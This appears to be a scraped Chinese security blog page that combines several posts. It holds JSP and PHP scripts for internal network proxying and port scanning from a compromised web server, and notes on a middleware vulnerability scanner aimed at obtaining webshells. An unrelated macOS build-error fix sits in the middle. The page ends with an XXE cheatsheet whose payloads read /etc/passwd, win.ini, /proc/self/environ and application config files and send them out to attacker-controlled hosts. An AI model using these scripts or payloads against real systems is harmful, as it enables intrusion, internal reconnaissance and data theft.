        }
        try {
            return getHtmlByInputStream(conn.getInputStream(), code);
        } catch (Exception e) {
            try {
            if(isError){
               return getHtmlByInputStream(conn.getErrorStream(), code);
            }
            } catch (Exception e1) {
                System.out.println("getHtmlContext2:" + e.getMessage());
            }
            System.out.println("getHtmlContext:" + e.getMessage());
            return "null";
        }
    }

    //获取Server头
    String getServerType(HttpURLConnection conn) {
        try {
            return conn.getHeaderField("Server");
        } catch (Exception e) {
            return "null";
        }

    }

    //匹配标题
    String getTitle(String htmlSource) {
        try {
            List<String> list = new ArrayList<String>();
            String title = "";
            Pattern pa = Pattern.compile("<title>.*?</title>");
            Matcher ma = pa.matcher(htmlSource);
            while (ma.find()) {
                list.add(ma.group());
            }
            for (int i = 0; i < list.size(); i++) {
                title = title + list.get(i);
            }
            return title.replaceAll("<.*?>", "");
        } catch (Exception e) {
            return null;
        }
    }

    //得到css
    List<String> getCss(String html, String url, String decode) {
        List<String> cssurl = new ArrayList<String>();
        List<String> csscode = new ArrayList<String>();
        try {

            String title = "";
            Pattern pa = Pattern.compile(".*href=\"(.*)[.]css");
            Matcher ma = pa.matcher(html.toLowerCase());
            while (ma.find()) {
                cssurl.add(ma.group(1) + ".css");
            }

            for (int i = 0; i < cssurl.size(); i++) {
                String cssuuu = url + "/" + cssurl.get(i);
                String csshtml = "<style>"
                        + getHtmlContext(getHTTPConn(cssuuu), decode,false)
                        + "</style>";
                csscode.add(csshtml);

            }
        } catch (Exception e) {
            System.out.println("getCss:" + e.getMessage());
        }
        return csscode;

    }

    //域名解析成IP
    String getMyIPLocal() throws IOException {
        InetAddress ia = InetAddress.getLocalHost();
        return ia.getHostAddress();
    }
    
    
    
    boolean getHostPort(String task){
        Socket client = null;
        boolean isOpen=false;
        try{
             String[] s=task.split(":");
             client = new Socket(s[0], Integer.parseInt(s[1]));
             isOpen=true;
             System.out.println("getHostPort:"+task);
             //scanportlist.add(task+" >>> Open");
             saveScanReslt2(task+" >>> Open\r\n");
        }catch(Exception e){
             isOpen=false;
        }
        return isOpen;
    }
    
    void getPath(String path){
    cpath=path;
    }
    
/*  void saveScanReslt(String s){
    try{
    FileUtils.writeStringToFile(new File(cpath+"/port.txt"), s,"UTF-8",true);
    }catch(Exception e){
    System.out.print(e.getLocalizedMessage());
    }
    } */
    
     void saveScanReslt2(String content) {   
        FileWriter writer = null;  
        try {     
            writer = new FileWriter(cpath+"/port.txt", true);     
            writer.write(content);       
        } catch (IOException e) {     
           System.out.print(e.getLocalizedMessage());   
        } finally {     
            try {     
                if(writer != null){  
                    writer.close();     
                }  
            } catch (IOException e) {     
              System.out.print(e.getLocalizedMessage());   
            }     
        }   
    }
    
    
    
    String s="Result:<br/>";
    String readPortResult(String portfile){
        File file = new File(portfile);
        BufferedReader reader = null;
        try {
            System.out.println("");
            reader = new BufferedReader(new FileReader(file));
            String tempString = null;
            while ((tempString = reader.readLine()) != null) {
              s+=tempString+"<br/>";
            }
            reader.close();
        } catch (IOException e) {
             return null;
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (IOException e1) {
                return null;
                }
            }
        }
        return s;
    }
    
    
    %>


<html>

<head>
<title>内网简单扫描脚本</title>
</head>
<body>
    <script>
        function showDiv(obj) {
            //var statu = document.getElementById("prequest").style.display;
            if (obj == "proxy") {
                document.getElementById("proxy").style.display = "block";
                document.getElementById("web").style.display = "none";
                document.getElementById("port").style.display = "none";

            } else if (obj == "web") {
                document.getElementById("proxy").style.display = "none";
                document.getElementById("web").style.display = "block";
                document.getElementById("port").style.display = "none";

            } else if (obj == "port") {
                document.getElementById("proxy").style.display = "none";
                document.getElementById("web").style.display = "none";
                document.getElementById("port").style.display = "block";

            }
        }
    </script>
    <p>
        <a href="javascript:void(0);" onclick="showDiv('proxy');"
            style="margin-left: 32px;">代理访问</a> <a href="javascript:void(0);"
            onclick="showDiv('web');" style="margin-left: 32px;">Web扫描</a> <a
            href="javascript:void(0);" onclick="showDiv('port');"
            style="margin-left: 32px;">端口扫描</a>
    </p>

    <div id="proxy"
        style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%;display:block;">
        <form action="" method="POST" style="margin-left: 50px;">
            <p>
                Url:<input name="url" value="http://127.0.0.1:8080"
                    style="width: 380px;" />
            </p>
            <p>
                Method:<select name="method">
                    <option value="GET">GET</option>
                    <option value="POST">POST</option>
                </select> Decode:<select name="decode">
                    <option value="utf-8">utf-8</option>
                    <option value="gbk">gbk</option>
                </select>
            </p>
            <p>
                <textarea name="post" cols=40 rows=4>username=admin&password=admin</textarea>
                <textarea name="post" cols=40 rows=4>SESSION:d89de9c2b4e2395ee786f1185df21f2c51438059222</textarea>

            </p>
            <p>
                Referer:<input name="referer" value="http://www.baidu.com"
                    style="width: 380px;" />
            </p>
            <p></p>

            <p>
                <input type="submit" value="Request" />
            </p>
        </form>
    </div>

    <div id="web"
        style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%; display:none;">
        <form action="" method="POST" style="margin-left: 50px;">
            <p>
                IP:<input name="ip" value="127.0.0.1">
            </p>
            <p>
                Port:<input name="port" value="80,8080,8081,8088">
            </p>
            <input type="submit" value="Scan">
        </form>
    </div>

    <div id="port"
        style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%; display:none;">
        <form action="" method="POST" style="margin-left: 50px;">
            <p>
                IP:<input name="scanip" value="192.168.12.1">-<input
                    name="scanip2" value="192.168.12.10">
            </p>
            <p>
                Port:<input name="scanport"
                    value="21,80,135,443,1433,1521,3306,3389,8080,27017"
                    style="width: 300px;">
            </p>
            <p>
                Thread:<input name="thread" value="100" style="width: 30px;">
            </p>
            <input type="submit" value="Scan">
        </form>
    </div>

    <br />
</body>
</html>
<%
    final JspWriter pwx = out;
    String s = application.getRealPath("/") + "/port.txt";
    String result = readPortResult(s);
    if (result != null) {
        try {
            pwx.println(result);
        } catch (Exception e) {
            System.out.print(e.getMessage());
        }
    }else{
       pwx.println("如果你进行了端口扫描操作,那么这里将会显示扫描结果!<br/>");
    }
    String div1 = "<div style=\"border:1px solid #999;padding:3px;margin-left:30px;width:95%;height:90%;\">";
    String div2 = "</div>";

    String u = request.getParameter("url");
    String ip = request.getParameter("ip");
    String scanip = request.getParameter("scanip");

    if (u != null) {

        String post = request.getParameter("post");
        //System.out.print(u);
        //System.out.print(post);
        decode = request.getParameter("decode");
        String ref = request.getParameter("referer");
        String cook = request.getParameter("cookie");

        if (ref != null) {
            referer = ref;
        }
        if (cook != null) {
            cookie = cook;
        }

        String html = null;

        if (post != null) {
            html = PostData(u, post);
        } else {
            html = getHtmlContext(getHTTPConn(u), decode, true);
        }


        String path = request.getContextPath()+"/netspy.jsp";
        System.out.println("path:"+path);
        String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"?url=";
        System.out.println("base:"+basePath);
        String reaplce = "href=\""+basePath;
        //html=html.replaceAll("href=['|\"]?http://(.*)['|\"]?", reaplce+"http://$1\"");
        html = html.replaceAll("href=['|\"]?(?!http)(.*)['|\"]?",
                reaplce + u + "$1");
        List<String> css = getCss(html, u, decode);
        String csshtml = "";
        if (!html.equals("null")) {
            for (int i = 0; i < css.size(); i++) {
                csshtml += css.get(i);
            }
            out.print(div1 + html + csshtml + div2);
        } else {
            response.setStatus(HttpServletResponse.SC_NOT_FOUND);
            out.print("请求失败!");
        }
        return;
    }

    else if (ip != null) {
        String threadpp = (request.getParameter("thread"));
        String[] port = request.getParameter("port").split(",");

        if (threadpp != null) {
            thread = Integer.parseInt(threadpp);
            System.out.println(threadpp);
        }
        try {
            try {
                String http = "http://";
                String localIP = getMyIPLocal();
                if (ip != null) {
                    localIP = ip;
                }
                String useIP = localIP.substring(0,
                        localIP.lastIndexOf(".") + 1);
                final Queue<String> queue = new LinkedBlockingQueue<String>();
                for (int i = 1; i <= 256; i++) {
                    for (int j = 0; j < port.length; j++) {
                        String url = http + useIP + i + ":" + port[j];
                        queue.offer(url);
                        System.out.print(url);
                    }

                }
                final JspWriter pw = out;
                ThreadGroup tg = new ThreadGroup("c");
                for (int i = 0; i < thread; i++) {
                    new Thread(tg, new Runnable() {
                        public void run() {
                            while (true) {
                                String addr = queue.poll();
                                if (addr != null) {
                                    System.out.println(addr);
                                    HttpURLConnection conn = getHTTPConn(addr);
                                    String html = getHtmlContext(conn,
                                            decode, false);
                                    String title = getTitle(html);
                                    String serverType = getServerType(conn);
                                    String status = !html
                                            .equals("null") ? "Success"
                                            : "Fail";
                                    if (html != null
                                            && !status.equals("Fail")) {
                                        try {
                                            pw.println(addr + "  >>  "
                                                    + title + ">>"
                                                    + serverType
                                                    + " >>" + status
                                                    + "<br/>");
                                        } catch (Exception e) {
                                            e.printStackTrace();
                                        }
                                    }
                                } else {
                                    return;
                                }
                            }
                        }
                    }).start();
                }
                while (tg.activeCount() != 0) {
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e) {
            out.println(e.toString());
        }
    } else if (scanip != null) {
        getPath(application.getRealPath("/"));
        int thread = Integer.parseInt(request.getParameter("thread"));
        String[] port = request.getParameter("scanport").split(",");
        String ip1 = scanip;
        String ip2 = request.getParameter("scanip2");

        int start = Integer.parseInt(ip1.substring(
                ip1.lastIndexOf(".") + 1, ip1.length()));
        int end = Integer.parseInt(ip2.substring(
                ip2.lastIndexOf(".") + 1, ip2.length()));

        String useIp = scanip.substring(0, scanip.lastIndexOf(".") + 1);

        System.out.println("start:" + start);
        System.out.println("end:" + end);

        final Queue<String> queue = new LinkedBlockingQueue<String>();
        for (int i = start; i <= end; i++) {
            for (int j = 0; j < port.length; j++) {
                String scantarget = useIp + i + ":" + port[j];
                queue.offer(scantarget);
                //System.out.println(scantarget);
            }

        }
        System.out.print("Count1:" + queue.size());
        final JspWriter pw = out;
        ThreadGroup tg = new ThreadGroup("c");
        for (int i = 0; i < thread; i++) {
            new Thread(tg, new Runnable() {
                public void run() {
                    while (true) {
                        String scantask = queue.poll();
                        if (scantask != null) {
                            getHostPort(scantask);
                            /* String result = null;
                            if(isOpen){
                            result=scantask+ " >>> Open<br/>";
                            scanportlist.add(result);
                            System.out.println(result);
                            } */

                            /* try {
                            pw.println(result);
                            } catch (Exception e) {
                            System.out.print(e.getMessage());
                            } */
                        }
                    }
                }
            }).start();

        }
        /* while (tg.activeCount() != 0) {
        } */
        try {
            pw.println("扫描线程已经开始,请查看" + cpath+"/port.txt文件或者直接刷新本页面!");
        } catch (Exception e) {
            System.out.print(e.getMessage());
        }
    }
%>

前些天看到wooyun社区有人发的jsp内网探测脚本,可以内网代理访问和内网端口扫描。但是却没找到php的既能代理内网,又能扫描内网端口的的脚本。所以我写了这个集合版本的php内网探测脚本。

<?php
 
set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; 

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}

 
function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
 
}
 
}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
    
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}
 
if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;
 
if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch); 
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); 
       $header = explode("\r\n",substr($result, 0, $headerSize)); 
       $body = substr($result, $headerSize); 
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body; 
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 

function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 

if($url != null){ 

    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

用法:
1、端口扫描部分:
填好起始ip、结束ip、自定义端口、超时等,点击扫描即可,十分方便

2、内网代理部分:
直接在文件后面加url参数,注意这里要带着http协议,不然可能css加载不完

 

from

http://jeary.org/post-69.html

http://www.answ.cc/?post=18

中间件漏洞检测框架(F-MiddlewareScan)

发布时间:March 20, 2016 // 分类:开发笔记,工作日志,linux,python,windows,生活琐事 // 1 Comment

纯python编写的轻量级中间件漏洞检测框架,实现针对中间件的自动化检测,端口探测->中间件识别->漏洞检测->获取webshell 
参数说明 
-h 必须输入的参数,支持ip(192.168.1.1),ip段(192.168.1),ip范围指定(192.168.1.1-192.168.1.254),最多限制一次可扫描65535个IP。 
-p 指定要扫描端口列表,多个端口使用,隔开 例如:7001,8080,9999。未指定即使用内置默认端口进行扫描(80,4848,7001,7002,8000,8001,8080,8081,8888,9999,9043,9080) 
-m 指定线程数量 默认100线程 
-t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2。 
 

漏洞检测脚本以插件形式存在,可以自定义添加修改漏洞插件,存放于plugins目录,插件标准非常简单,只需对传入的IP,端口,超时进行操作,成功返回“YES|要打印出来的信息”即可。 
新增插件需要在 plugin_config.ini配置文件中新增关联(多个漏洞插件以逗号隔开)。 
中间件识别在discern_config.ini文件中配置(支持文件内容和header识别) 

目前内置了19个漏洞插件,希望大家可以一起编写更多的插件,目前还缺少weblogic自动部署和反序列化探测以及中间件的反序列化自动获取webshell的插件等等。 

周末感冒无事,除了吃药意外就是发呆了。好友说想要修改一下,增加CMS识别以及同服查询的功能。动手开始做

def exploit(URL, Thread):
    w = cms.WhatWeb(URL, Thread)
    w.run()
    if w.result:
        return w.result

def whatcms(scan_type,task_host,task_port):
    task_port = '80'
    if task_host.find('http') == -1:
        URL = 'http://'+str(task_host)
    elif task_host.find('///') !=1 and task_host.find('~') == -1:
        URL = str(task_host.replace('///','://'))
    elif task_host.find('///') !=1 and task_host.find('~') != -1:
        URL = task_host.replace('///','://').replace('~',':').rstrip('/')
    log(scan_type,URL,task_port)
    Thread = 40
    try:
        r = requests.get(URL, timeout=15, verify=False)
        if r.status_code == 200:
            return exploit(URL, Thread)
    except Exception as e:
        #print str(e)
        return

def ip2host_get(scan_type,host,port):
    ip2hosts = []
    try:
        req=requests.get('http://www.ip2hosts.com/search.php?ip='+str(host), timeout=45, verify=False)
        src=req.content
        if src.find('result') != -1:
            result = json.loads(src)['result']
            ip = json.loads(src)['ip']
            if len(result)>0:
                for item in result:
                    if len(item)>0:
                        #log(scan_type,host,port,str(item))
                        ip2hosts.append(item.replace('://','///').replace(':','~'))
    except Exception, e:
        print str(e)
        pass
    return ip2hosts

再次修改了其中的顺序,

    def run(self):
        while True:
            queue_task = self.queue.get()
            task_type,task_host,task_port = queue_task.split(":")
            if task_type == 'portscan':
                port_status = scan_port(task_type,task_host,task_port)
                if port_status == True:
                    #如果端口开发,推送到任务
                    queue.put(":".join(['ip2host_get',task_host,task_port]))
            elif task_type == 'ip2host_get':
                #针对存货IP发起旁站查询
                result = []
                urls = ip2host_get(task_type,task_host,task_port)
                #queue.put(":".join(['discern',task_host,task_port]))
                urls.insert(0,task_host)
                result.extend(urls)
                urls = list(set(result))
                if len(urls)>0:
                    #list can not use find
                    for url in urls:
                        if len(url)>0:
                            #print url
                            #put url in queue,but some qestion in Threads and queue
                            queue.put(":".join(['whatcms',str(url),task_port]))
            elif task_type == 'whatcms':
                cms = whatcms(task_type,task_host,task_port)
                queue.put(":".join(['discern',task_host,task_port]))
                if cms == None:
                    "go on 但是没什么乱用"
                    #以后增加插件式扫描

            elif task_type == 'discern':
                #针对中间件的识别
                discern_type = scan_discern(task_type,task_host,task_port)
                if discern_type:
                    queue.put(":".join([discern_type,task_host,task_port]))
            else:
                scan_vul(task_type,task_host,task_port)
            self.queue.task_done()

但是问题来了,线程经常性的奔溃掉,然后就无奈了

然后发现了一个有意思的东西https://raw.githubusercontent.com/erevus-cn/pocscan/master/web/tasks.py

# coding:utf-8
import gevent
from gevent.pool import Pool
from web.lib.utils import *
from pocscan.poc_launcher import Poc_Launcher
from celery import Celery, platforms

app = Celery()

# 允许celery以root权限启动
platforms.C_FORCE_ROOT = True

# 修改celery的全局配置
app.conf.update(
    CELERY_IMPORTS = ("tasks", ),
    BROKER_URL = 'amqp://guest:guest@localhost:5672/',
    CELERY_RESULT_BACKEND = 'db+mysql://root:123456@127.0.0.1:3306/pocscan',
    CELERY_TASK_SERIALIZER='json',
    CELERY_RESULT_SERIALIZER='json',
    CELERY_TIMEZONE='Asia/Shanghai',
    CELERY_ENABLE_UTC=True,
    BROKER_TRANSPORT_OPTIONS = {'visibility_timeout': 3600}, # 如果任务没有在 可见性超时 内确认接收,任务会被重新委派给另一个Worker并执行  默认1 hour.
    CELERYD_CONCURRENCY = 50 ,
    CELERY_TASK_RESULT_EXPIRES = 1200,  # celery任务执行结果的超时时间,我的任务都不需要返回结
    # BROKER_TRANSPORT_OPTIONS = {'fanout_prefix': True},       # 设置一个传输选项来给消息加上前缀
)

# 失败任务重启休眠时间300秒,最大重试次数5次
#@app.task(bind=True, default_retry_delay=300, max_retries=5)
@app.task(time_limit=3600)
def run_task_in_gevent(url_list, poc_file_dict):     # url_list 每个进程分配到一定量的url
    poc = Poc_Launcher()
    pool = Pool(100)
    for target in url_list:
        for plugin_type,poc_files in poc_file_dict.iteritems():
            for poc_file in poc_files:
                if target and poc_file:
                    target = fix_target(target)
                    pool.add(gevent.spawn(poc.poc_verify, target, plugin_type, poc_file))
    pool.join()

搜了下Celery,专门用于解决任务队列用于分发工作给不同线程。回头研究下

 

参考文章:

http://docs.jinkan.org/docs/celery/
http://my.oschina.net/u/2306127/blog/417360
http://rfyiamcool.blog.51cto.com/1030776/1325062
http://www.tuicool.com/articles/qi6Nve

MacOSX安装autopy时遇到错误

发布时间:March 2, 2016 // 分类:运维工作,开发笔记,工作日志,转帖文章,python,windows // No Comments

spynner是一个QtWebKit的客户端,它可以模拟浏览器,完成加载页面、引发事件、填写表单等操作。

这个模块可以在Python的官网找到。

下载地址: https://pypi.python.org/pypi/spynner/2.5

解压后,cd到安装目录,然后输入sudo python configure.py install安装该模块。

这样Spynner模块就安装完成了,在python shell中试试import spynner看看该模块有没有安装完成。

其实是安装spynner的时候遇到的.习惯的使用pip去安装了pip install spynner的时候发现了这个错误

src/screengrab.c:48:26: warning: implicit declaration of function 'CGDisplayBitsPerPixel' is invalid in C99
      [-Wimplicit-function-declaration]
        bitsPerPixel = (uint8_t)CGDisplayBitsPerPixel(displayID);
                                ^
src/screengrab.c:174:15: warning: 'kCGLPFAFullScreen' is deprecated: first deprecated in OS X 10.6 [-Wdeprecated-declarations]
        attribs[0] = kCGLPFAFullScreen;
                     ^
/System/Library/Frameworks/OpenGL.framework/Headers/CGLTypes.h:71:2: note: 'kCGLPFAFullScreen' declared here
        kCGLPFAFullScreen OPENGL_ENUM_DEPRECATED(10_0, 10_6)     =  54,
        ^
src/screengrab.c:191:2: warning: 'CGLSetFullScreen' is deprecated: first deprecated in OS X 10.6 [-Wdeprecated-declarations]
        CGLSetFullScreen(glContext);
        ^
/System/Library/Frameworks/OpenGL.framework/Headers/OpenGL.h:73:17: note: 'CGLSetFullScreen' declared here
extern CGLError CGLSetFullScreen(CGLContextObj ctx) OPENGL_DEPRECATED(10_0, 10_6);
                ^
src/screengrab.c:194:2: warning: implicit declaration of function 'glReadBuffer' is invalid in C99 [-Wimplicit-function-declaration]
        glReadBuffer(GL_FRONT);
        ^
src/screengrab.c:194:15: error: use of undeclared identifier 'GL_FRONT'
        glReadBuffer(GL_FRONT);
                     ^
src/screengrab.c:197:2: warning: implicit declaration of function 'glFinish' is invalid in C99 [-Wimplicit-function-declaration]
        glFinish();
        ^
src/screengrab.c:199:6: warning: implicit declaration of function 'glGetError' is invalid in C99 [-Wimplicit-function-declaration]
        if (glGetError() != GL_NO_ERROR) return NULL;
            ^
src/screengrab.c:199:22: error: use of undeclared identifier 'GL_NO_ERROR'
        if (glGetError() != GL_NO_ERROR) return NULL;
                            ^
src/screengrab.c:207:2: warning: implicit declaration of function 'glPopClientAttrib' is invalid in C99
      [-Wimplicit-function-declaration]
        glPopClientAttrib(); /* Clear attributes previously set. */
        ^
src/screengrab.c:223:2: warning: implicit declaration of function 'glPushClientAttrib' is invalid in C99
      [-Wimplicit-function-declaration]
        glPushClientAttrib(GL_CLIENT_PIXEL_STORE_BIT);
        ^
src/screengrab.c:223:21: error: use of undeclared identifier 'GL_CLIENT_PIXEL_STORE_BIT'
        glPushClientAttrib(GL_CLIENT_PIXEL_STORE_BIT);
                           ^
src/screengrab.c:225:2: warning: implicit declaration of function 'glPixelStorei' is invalid in C99 [-Wimplicit-function-declaration]
        glPixelStorei(GL_PACK_ALIGNMENT, BYTE_ALIGN); /* Force alignment. */
        ^
src/screengrab.c:225:16: error: use of undeclared identifier 'GL_PACK_ALIGNMENT'
        glPixelStorei(GL_PACK_ALIGNMENT, BYTE_ALIGN); /* Force alignment. */
                      ^
src/screengrab.c:226:16: error: use of undeclared identifier 'GL_PACK_ROW_LENGTH'
        glPixelStorei(GL_PACK_ROW_LENGTH, 0);
                      ^
src/screengrab.c:227:16: error: use of undeclared identifier 'GL_PACK_SKIP_ROWS'
        glPixelStorei(GL_PACK_SKIP_ROWS, 0);
                      ^
src/screengrab.c:228:16: error: use of undeclared identifier 'GL_PACK_SKIP_PIXELS'
        glPixelStorei(GL_PACK_SKIP_PIXELS, 0);
                      ^
src/screengrab.c:235:2: warning: implicit declaration of function 'glReadPixels' is invalid in C99 [-Wimplicit-function-declaration]
        glReadPixels(x, y, width, height,
        ^
src/screengrab.c:236:30: error: use of undeclared identifier 'GL_BGRA'
                     MMRGB_IS_BGR ? GL_BGRA : GL_RGBA,
                                    ^
src/screengrab.c:236:40: error: use of undeclared identifier 'GL_RGBA'
                     MMRGB_IS_BGR ? GL_BGRA : GL_RGBA,
                                              ^
10 warnings and 9 errors generated.
error: Setup script exited with error: command 'cc' failed with exit status 1

仔细看了下发现是autopy的错误,查看src/screengrab.c发现是由于OpenGL没有更新版本,存在一些已经被弃用的方法。解决办法很简单,安装libpng,下载地址。安装完成后发现还是继续报错

git clone git://github.com/msanders/autopy.git
cd autopy
python setup.py build
src/png_io.c:3:10: fatal error: 'png.h' file not found  
#include <png.h>  
         ^  
1 error generated.  
error: command 'cc' failed with exit status 1  

解决办法很简单..直接指向就好了


export LIBRARY_PATH="/usr/local/lib:/usr/local/include/libpng"
export C_INCLUDE_PATH="/usr/local/lib:/usr/local/include/libpng"
python setup.py build
sudo python setup.py install

 

XML Entity Cheatsheet - Updated

发布时间:February 22, 2016 // 分类:工作日志,开发笔记,linux,转帖文章,windows // No Comments

An XML Entity testing cheatsheet. This is an updated version with nokogiri tests removed, just (X)XE notes.

XML Headers:

<?xml version="1.0" standalone="no"?>
<?xml version="1.0" standalone="yes"?>

Vanilla entity test:

<!DOCTYPE root [<!ENTITY post "1">]><root>&post;</root>

SYSTEM entity test (xxe):

<!DOCTYPE root [<!ENTITY post SYSTEM "file:///etc/passwd">]>

Parameter Entity. One of the benefits is a paremeter entity is automatically expanded inside the DOCTYPE:

<!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://[IP]/some.dtd">%dtd]>

Should be illegal per XML specs but I've seen it work, also useful for DoS:
<!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://[IP]/some.dtd"><!ENTITY % a "test %dtd">]>

Combined Entity and Parameter Entity:

 

<!DOCTYPE root [<!ENTITY post SYSTEM "http://"><!ENTITY % dtd SYSTEM "http://[IP]/some.dtd"><!ENTITY % a "test %dtd">]><root>&post;</root>

URL handler. This follows XML Entity - IBM (Broken) I have not used this but Public DTD works just as well:

<!DOCTYPE root [<!ENTITY c PUBLIC "-//W3C//TEXT copyright//EN" "http://[IP]/copyright.xml">]>

XML Schema Inline:

madeuptag xlmns="http://[ip]" xsi:schemaLocation="http://[IP]">
</madeuptag>

Remote Public DTD, from oxml_xxe payloads:

<!DOCTYPE roottag PUBLIC "-//OXML/XXE/EN" "http://[IP]">

External XML Stylesheet, from Burp Suite Release Notes:

<?xml-stylesheet type="text/xml" href="http://[IP]"?>

XInclude:

<document xmlns:xi="http://<IP>/XInclude"><footer><xi:include href="title.xml"/></footer></document>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/fstab" parse="text"/>

Inline XSLT:

<?xml-stylesheet type="text/xml" href="#mytest"?>
<xsl:stylesheet id="mytest" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
<!-- replace with your XSLT attacks -->
<xsl:import href="http://[ip]"/>
<xsl:template match="id('boom')">
  <fo:block font-weight="bold"><xsl:apply-templates/></fo:block>
</xsl:template>
</xsl:stylesheet>

Useful Links:

XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques
XML Entity Examples - IBM (Broken, check Internet Archive)

 

一些XXE_Payloads

https://gist.githubusercontent.com/staaldraad/01415b990939494879b4/raw/25cff41582552aee47b06526d568f5785af67deb/XXE_payloads

Vanilla, used to verify outbound xxe or blind xxe

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

 

OoB extraction

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

External dtd:

1
2
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

OoB variation of above (seems to work better against .NET)

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

External dtd:

1
2
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

OoB extra nice

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>

External dtd:

1
<!ENTITY all "%start;%stuff;%end;">

File-not-found exception based extraction

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
  %one;
  %two;
  %four;
]>

External dtd:

1
2
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> //you might need to encode this % (depends on your target) as: &#x25;

 

FTP

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE a [ 
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>

External dtd:

1
2
<!ENTITY % d SYSTEM "file:///proc/self/environ">
